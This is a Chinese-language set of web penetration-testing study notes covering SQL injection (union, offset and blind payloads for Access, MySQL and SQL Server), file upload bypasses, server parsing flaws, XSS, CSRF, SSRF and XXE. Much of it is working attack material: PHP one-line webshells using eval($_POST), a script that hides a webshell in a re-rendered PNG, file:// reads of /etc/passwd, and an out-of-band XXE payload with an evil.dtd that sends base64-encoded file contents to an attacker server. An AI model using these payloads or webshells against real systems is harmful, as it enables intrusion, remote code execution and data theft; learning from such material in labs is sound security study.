sql 注入

access数据库:

Access数据库是一种小型数据库用于储存数据,其中各个对象之间可以建立关联,方便用户快速查询与调用数据。它相对其他数据库来说比较简单,只有==一个数据库==,里面存放着表、列以及数据,通过简单的语句就可以完成注入。

1
2
3
4
5
6
7
8
9
结构:

数据库名

​ 表名

​ 列名

​ 数据

联合注入

1, 判断注入点,一般来说单引号、减号、and等就可以判断是否存在注入

1
2
?id=1'   //通过单引号看是否报错,根据报错信息,判断数据库闭合方式
?id=2-1 //返回与id=2不同的页面说明带入数据库执行,存在注入

2, 通过order by 判断字段数,将字段数从小到大以此类推,直至返回错误页面,而正确的字段数就是返回错误的字段数减一

1
2
3
?id=1 order by 1	
...
?id=1 order by 10 //如果报错则字段为9

3, 通过联合查询

1
2
3
select * from article where id= 1 union select 1,[column_name],3 from [table_name]

如:1 union select 1,username,password,4,5,6,7,8,9,10 from admin

偏移注入(已知表名,未知列名)

1,利用联合注入查询字段数量,例:

1
2
3
4
?id=1 order by 1	
...
?id=1 order by 10 //如果报错则字段为9
?id=1 order by 1,2,3,4,5,6,7,8,9 from admin

2,测偏移量,将9改为*号,测试是否回显正常,不正常就逐渐往下减,直到正常位置。例:

1
2
?id=1 order by 1,2,3,4,5,6,* from admin  //显示正常
代表admin的字段数为3;

将语句修改为:UNION SELECT 1,2,3, from (admin as a inner join admin as b on a.id=b.id)*
admin表变成了(admin as a inner join admin as b on a.id=b.id),这里是将admin重命名为了a和b两张表,然后通过inner join 将a表和b表的id相同字段展示出来,a表和b表本来都是admin表,所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的),这样做的目的就是可以打乱顺序来爆出其它字段
但是由于增加了一张表,所以字段数得再减少一个*号的长度,所以就从6变成了3。

MYSQL数据库

  1. 了解数据库结构

    一个网站就对应一个数据库:

    数据库构成:

    数据库名

    表名

    列名

    数据

  2. 在mysql5.0以上的版本中,mysql存在一个自带的数据库名为information_schema, 他是存储记录所有的数据库名,表名,列名的数据库,也相当于可以通过查询他获取指定数据库下面的表名或列名信息。

  3. 信息收集:数据库版本:version()

    数据库名字:database()

    数据库用户:user()

    操作系统:@@version_compile_os

  4. 数据库中的 “.” 代表下一级,如: lx.user: 表示 lx 数据库下的 user表名字

    information_schema.tables : 记录所有表名信息的表。

information_schema.columns :记录所有列名信息的表。

table_name : 表名

column_name: 列名

table_schema: 数据库名

判断注入:第一步:判断是否存在注入

第二步:判断注入参数

第三步:判断输入类型

    1. 确定注入点是否可注入
    2. 确定表的查询列数:相关语句:https://lx.com/?id=1 order by number.
    3. 列出所有数据库 https://lx.com/?id=-1 union select 1,2,3 查看回显位,可以在选中回显位进行查询数据库版本,名字,用户,操作系统。
      1. 列出所有表 : https://lx.com/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’数据库名’
    4. https://lx.com/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’你想要的表名’
    5. 得到数据:https://lx.com/?id=-1 union select 1,2,group_concat(列名(数据)) from 列

脚本爆破:admin,admin_login,article,bills,block,cat,hc_admin,hc_dictionary,hc_hdimg,hc_huiyuan,hc_imgshow,hc_links,hc_liuyan,hc_news,hc_product,hc_shangpin,hc_text,hc_zhaopin,order,otherinfo,payorder,qr_code,smscode,test,user,userinfo,user

例如:爆破base64加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import request

url=''
sqli=''
for lieming in open('文件名'):
lieming=lieming.strip()
sqli=sqlin+lieming
urls=url+base64.b64encode(sqli.encode('utf-8'))
s=requests.get(urls).content
print(len(s))


#s=requests.get(urls)
if '' in s.text:
print()

sqlserver数据库

1,报错语句:

1
2
3
4
5
6
7
and user >0            //获取当前数据库用户名

and db_name>0 //获取当前数据库名称

and (selectcount(1) from [sysobjects])>=0 //当前数据库名

and1=(select @@servername) //本地服务名

2,判断注入点:

3,判断字段数:

1
order by 判断字段数

4,暴库

1
2
3
4
5
6
//使用联合查询,需要注意的是,使用联合查询时需要前面不可查询,可以将参数2改为-2,也可以构造 and 1=2 两种方式都可以。为了避免出现错误,四个字段,都用 null 代替,构造如下语句

union all select null,null,unll,unll
//然后用数字依次代替,判断回显位置,发现第二个字段显示在页面中,将第二个null 替换为 (select db_name()),具体语句为

union all select 1,(select db_name()), null, null

5,暴表

1
2
3
//知道数据库名后,构造如下语句,爆出表名

union all select 1,(select top 1 name from 库名.dbo.sysobjects where xtype='u'), null,null

6,暴字段

通过构造如下语句,可以爆出所有字段,

1
union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects), null,null

7,获取数据

通过构造如下语句

1
2
3
union all select 1,(select top 1 username from manage),null,null

union all select 1,(select top 1 password from manage),null,null

#####偏移注入(略)

数据库文件读写

load_file() 语句:select load_file(‘文件路径’);可以配合sql语句进行文件的读取:

例如:

1
http://localhost/blog/carryfile/news.php?id=1 union select 1,load_file('d:/1.txt'),3,4

image-20240408225211009

成功读取文件内容:1234

隐藏页面特效

####SQL注入之盲注简单总结

本文链接:https://blog.csdn.net/qq_42477007/article/details/96492174

1

  1. 什么是盲注?
    盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
  2. SQL盲注与SQL普通注入的区别?
    普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。
  3. SQL盲注分类:
    Sql盲注可以简单分为三类 :布尔盲注、延时盲注和报错盲注

什么是布尔盲注?

1
2
3
 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。
12

布尔注入用到的函数:

1
2
3
4
5
6
7
mid(str,start,length)  :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
123456

布尔注入流程:
猜解获取数据库长度

1
2
' or length(database()) > 8 --+    :符合条件返回正确,反之返回错误
1

猜解数据库名

1
2
3
'or mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名
12

猜解表的总数

1
2
'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数
1

猜解第一个表名的长度

1
2
3
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)
12

猜解第一个表名

1
2
3
4
5
'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit      0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100 --+
1234

猜解表的字段的总数

1
2
'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+
1

猜解第一个字段的长度

1
2
3
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)
12

猜解第一个字段名

1
2
3
4
'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+
123

猜解直接猜测字段名

1
2
' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+
1

猜解内容长度

1
2
3
假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16 --+
12

猜解内容

1
2
3
4
'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ASCII码猜解
123

也可以直接猜测内容

1
2
'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+
1

什么是延迟盲注?

1
2
 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的延迟盲注
1

延迟盲注需要的函数:

1
2
3
4
5
6
7
8
9
Sleep()                           :延迟函数
If(condition,true,false) :条件语句
mid(str,start,length) :字符串截取
ORD() :转换成ascii码
Length() :统计长度
version() :查看数据库版本
database() :查看当前数据库名
user() :查看当前用户
12345678

延迟注入流程:
获取数据库总数

1
2
' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))       如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒
1

猜解当前数据库长度

1
2
' and sleep(if((length(database()) = 8),0,5))--+     //当前数据库名长度为8
1

在这里插入图片描述

猜解当前数据库名

1
2
' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+    //ascii码115 就是 s
1

猜解当前数据库表的总数

1
2
3
And sleep(if((注入语句),0,5))   //类似布尔注入推理即可 ,例如:
' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+
12

在这里插入图片描述

猜解当前数据库表的长度
根据布尔注入推理即可
猜解当前数据库表名
猜解当前数据库表的字段总数
猜解当前数据库表的字段长度
猜解当前数据库表的字段名
猜解内容

什么是报错盲注?

1
因为数据库语句中有容错语句,例如:mysqli_error()函数

报错注入又分为两种爆错类型:数据库BUG报错注入和数据库函数报错注入

利用数据库BUG报错注入需要的函数:

1
2
3
4
5
6
只要是count(),rand() ,group by 三个函数连用就会造成这种报错
left(rand(),3) :不一定报错
floor(rand(0)*2) :一定报错
round(x,d) :x指要处理的数,d是指保留几位小数
concat() :字符串拼接
12345

利用函数报错注入需要的函数:

1
2
3
4
5
6
7
8
9
Updatexml()
Exp()
Geometrycollection()
Polygon()
Multipoint()
Multilinestring()
Multipolygon()
等.....
12345678

利用数据库bug报错注入的流程
爆数据库的两种方法

1
2
3
' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)
' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx
12

爆表名

1
2
' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+
1

在这里插入图片描述

爆字段

1
2
' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+
1

在这里插入图片描述

猜解内容

1
2
' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23         //逐个猜解内容(详情见布尔注入)
1

利用特定函数报错注入的流程:
与利用报错步骤相同,比如Updatexml()的注入语句如下:

1
2
' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+
1

在这里插入图片描述

文件上传

###一,前端验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-javascript">function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</code>
</pre>
</li>
//文件类型被限定:.jpg||.png||.gif

绕过方法:直接f12修改前端的白名单,将后缀改为 .php

bp抓包之后上传一句话木马:

1
2
3
<?php
eval($_POST['cmd']);
?>

###二,检查文件扩展名

黑白名单

黑名单策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//黑名单策略
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
</code>
</pre>
</li>

白名单策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<li id="show_code">
<h3>代码</h3>
<pre>
<code class="line-numbers language-php">$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
</code>
</pre>
</li>

绕过

在一些Web server中,存在解析漏洞:
1.老版本的IIS6中的目录解析漏洞,如果网站目录中有一个 /.asp/目录,那么此目录下面的一切内容都会被当作asp脚本来解析
2.老版本的IIS6中的分号漏洞:IIS在解析文件名的时候可能将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg
3.旧版Windows Server中存在空格和dot漏洞类似于 a.php. 和 a.php[空格] 这样的文件名存储后会被windows去掉点和空格,从而使得加上这两个东西可以突破过滤,成功上传,并且被当作php代码来执行
4.nginx(0.5.x, 0.6.x, 0.7 <= 0.7.65, 0.8 <= 0.8.37)空字节漏洞 xxx.jpg%00.php 这样的文件名会被解析为php代码运行(fastcgi会把这个文件当php看,不受空字节影响,但是检查文件后缀的那个功能会把空字节后面的东西抛弃,所以识别为jpg)
5.apache1.x,2.x的解析漏洞,上传如a.php.rar a.php.gif 类型的文件名,可以避免对于php文件的过滤机制,但是由于apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rar等扩展名是apache不能识别的,因此就会直接将类型识别为php,从而达到了注入php代码的目的

###三,检查文件类型

3.1 MIME(Content Type)

MIME(Multipurpose Internet Mail Extensions)多用途网络邮件扩展类型,可被称为Media type或Content type,

它设定某种类型的文件当被浏览器打开的时候需要用什么样的应用程序,多用于HTTP通信和设定文档类型例如HTML。

之所以叫多用途网络邮件扩展类型,因为它最早被用于电子邮件系统,后用于浏览器

序号 内容类型 文件扩展名 描述
1 application/msword doc Microsoft Word
2 application/octet-stream bin dms lha lzh exe class 可执行程序
3 application/pdf pdf Adobe Acrobat
4 application/postscript ai eps ps PostScript
5 appication/powerpoint ppt Microsoft Powerpoint
6 appication/rtf rtf rtf 格式
7 appication/x-compress z unix 压缩文件
8 application/x-gzip gz gzip
9 application/x-gtar gtar tar 文档 (gnu 格式 )
10 application/x-shockwave-flash swf MacroMedia Flash
11 application/x-tar tar tar(4.3BSD)
12 application/zip zip winzip
13 audio/basic au snd sun/next 声音文件
14 audio/mpeg mpeg mp2 Mpeg 声音文件
15 audio/x-aiff mid midi rmf Midi 格式
16 audio/x-pn-realaudio ram ra Real Audio 声音
17 audio/x-pn-realaudio-plugin rpm Real Audio 插件
18 audio/x-wav wav Microsoft Windows 声音
19 image/cgm cgm 计算机图形元文件
20 image/gif gif COMPUSERVE GIF 图像
21 image/jpeg jpeg jpg jpe JPEG 图像
22 image/png png PNG 图像

####3.2 文件头部 (GIF89a)

图片的文件头,常见的图片文件头如下:

1
2
3
4
5
gif(GIF89a) : 47 49 46 38 39 61

jpg、jpeg : FF D8 FF

png : 89 50 4E 47 0D 0A

当上传php文件时,可以使用winhex010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测

###四,.user.ini的使用

原文链接:https://blog.csdn.net/weixin_52635170/article/details/126962920

.user.ini
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

.user.ini的妙用原理
.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

.user.ini语句:

1
2
auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename> //包含在文件尾

###五, 检测文件内容

####5.1文件内容替换

一句话木马内容替换

1
2
3
4
5
6
7
<script language='php'>system('ls');</script>
<?php eval($_POST[x]);?>
<?=eval($_POST[x]);?>
<?=system('tac ../fl*')?>
<?=`tac ../fl*`?>
<? echo `tac /var/www/html/fl*`?>
auto_prepend_file = <filename>

/var/www/html是Linux操作系统下的一个目录,通常用于存放网站相关文件及数据。在Linux系统中,lvar表示变化的数据,/www表示该数
据是Web服务器相关的,/html则是网页文件及数据的存放位置。

更具体地说,/var/www/html目录是Web服务器的默认根目录,也被称为Web根目录。Web服务器将Web根目录作为网站访问的起点,当
用户访问该网站时,服务器会从这个目录下查找相应的文件进行响应。

该目录下通常包含网站的各种文件和资源,如HTML、CSS、JavaScript、图片、视频、音频等。此外,还可能包含后端代码文件,如
PHP、Python等的脚本文件。

/var/www/html目录对于搭建网站来说非常重要,因为这是网站的默认根目录,所有的网站内容都从这里开始。在搭建网站时,我们需要将
相关文件和资源放置在该目录下,并在服务器上设置Web根目录的路径。

总之,/var/www/html是Linux下的一个重要目录,用于存放Web服务器相关的文件及数据,该目录是搭建网站的重要组成部分。

####5.2图片二次渲染

原文链接:https://blog.csdn.net/weixin_45588247/article/details/119177948

  1. 二次渲染原理:在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

2. 绕过:
1、配合文件包含漏洞:
  将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。

​ 2、可以配合条件竞争:
  这里二次渲染的逻辑存在漏洞,先将文件上传,之后再判断,符合就保存,不符合删除,可利用条件竞争来进行爆破上传
  点我进入条件竞争漏洞

  1. 如何判断图片是否进行了二次处理?
    对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据

  2. 二次渲染脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



    $img = imagecreatetruecolor(32, 32);

    for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
    }

    imagepng($img,'./1.png');
    ?>

    在同目录下运行 将生成的图片马上传;

    1
    php idat.php 1.png

###六,中间件解析漏洞和编辑器漏洞

####nginx文件解析漏洞

版本信息:

  • Nginx 1.x 最新版
  • PHP 7.x最新版

image-20240415000937289

**抓包上传一个jpg(带木马代码)修改文件头部为GIF89a **

image-20240415001351653

访问地址192.168.42.229/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php

成功以php解析

image-20240415001516872

最后打开蚁剑连接,拿到shell

####nginx文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

Apache HTTPD 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:

1
2
AddType text/html .html
AddLanguage zh-CN .cn

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

1
AddHandler application/x-httpd-php .php

那么,在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现

打开是一个文件上传的窗口,随便上传一个图片文件进行抓包

将文件名改为:1.php.jpg 文件内容为:一句话代码

1
<?php eval($_POST["cmd"]);?>

访问文件成功解析为php

image-20240415092816857

####Apache 换行解析漏洞

待填充

CMS: filecms cuppacms(待实践)

xss

一、XSS简介
XSS全称:跨站脚本(Cross Site Scripting) ,为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。

二、XSS原理
服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。

kali安装beef-xss

1
2
3
4
5
6
7
8
apt remove ruby   # 清除ruby  beef-xss 并清除beef-xss配置文件
apt remove beef-xss
apt-get install ruby
apt autoremove beef-xss
apt-get install ruby # 再安装 ruby ......
apt-get install ruby-dev libpcap-dev
gem install eventmachine
apt-get install beef-xss

反射型

存储型(finecms)

####1、finecms安装

将cms解压到自己的根目录下

image-20240418140225304

在小皮中创建网站并且同步数据库(注意php版本要在5-7之间的版本)

image-20240418140323030

访问test.finecms.com/install.php完成安装导向

成功进入后台:默认账号密码admin/admin

####2、判断插入点:

查看错误日志,根据目录查看源代码,试着写入语句:看错误日志是否成功写入

image-20240418141302452

成功写入js代码

image-20240418141328760

代码审计跟踪到log.php 发现有write_log方法创建日志文件并写入错误信息,没有对错误信息过滤。

所以我们在首页可以任意插入js代码,从而获取管理员的cookie等操作

1
https://test.finecms.com/index.php?s=member&c=account&m=1<script>alert(helloworld)</script>

DOM

CSRF

###一、什么是CSRF?

CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。

二、CSRF攻击原理及过程

CSRF为什么能够攻击成功?

其本质原因是重要操作的所有参数都是可以被攻击者猜测到的。

攻击者只有预测出URL的所有参数与参数值,才能成功地构造一个伪造的请求;反之,攻击者将无法攻击成功。

CSRF攻击的条件:

1、登录受信任站点A,并在本地生成Cookie。

2、在不登出A的情况下,访问危急站点B。

####CSRF攻击的复现:

#SSRF

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

1646264163213-66a6b56a-7e56-4f5c-962f-7e1e864bb22a.png

伪协议学习

1、file://

从文件系统中获取文件内容,格式为file://[文件路径]

1
2
3
4
5
6
7
8
file:///etc/passwd            读取文件passwd
file:///etc/hosts 显示当前操作系统网卡的IP
file:///proc/net/arp 显示arp缓存表(寻找内网其他主机)
file:///proc/net/fib _trie 显示当前网段路由信息
file:///D:/www.txt
dict://127.0.0.1:3306/info
ftp://192.168.46.148:21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
SSRF黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
-SSRF白盒可能出现的地方:
1、功能点抓包指向代码块审计
2、功能点函数定位代码块审计
-SSRF常见安全修复防御方案:
1、禁用跳转
2、禁用不需要的协议
3、固定或限制资源地址
4、错误信息统一信息处理

xxe

XML即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据

####XML外部实体注入(XML External Entity)

1、任意文件读取

最简单也是最常用的利用方式
一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显

恶意引入外部实体

直接读靶场 (XXE-lab for php) 文件

1、抓包分析是否是xml,以下是抓取的数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /xxe/php_xxe/doLogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/xml, text/xml, */*; q=0.01 //此处也可以判断为xml
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest //此处可以判断为xml
Content-Length: 66
Origin: http://localhost
Connection: close
Referer: http://localhost/xxe/php_xxe/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1

<user><username>admin</username><password>123456</password></user>

将上列代码改成如下所示:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///d:/1.txt" >
]>
<user><username>&rabbit;</username><password>123</password></user>

如果1.txt存在则有回显

image-20240421201127519

恶意引入外部参数实体

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&hhh;</test>
1
<!ENTITY hhh SYSTEM 'file:///d:/1.txt'>

无回显

OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错

以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析

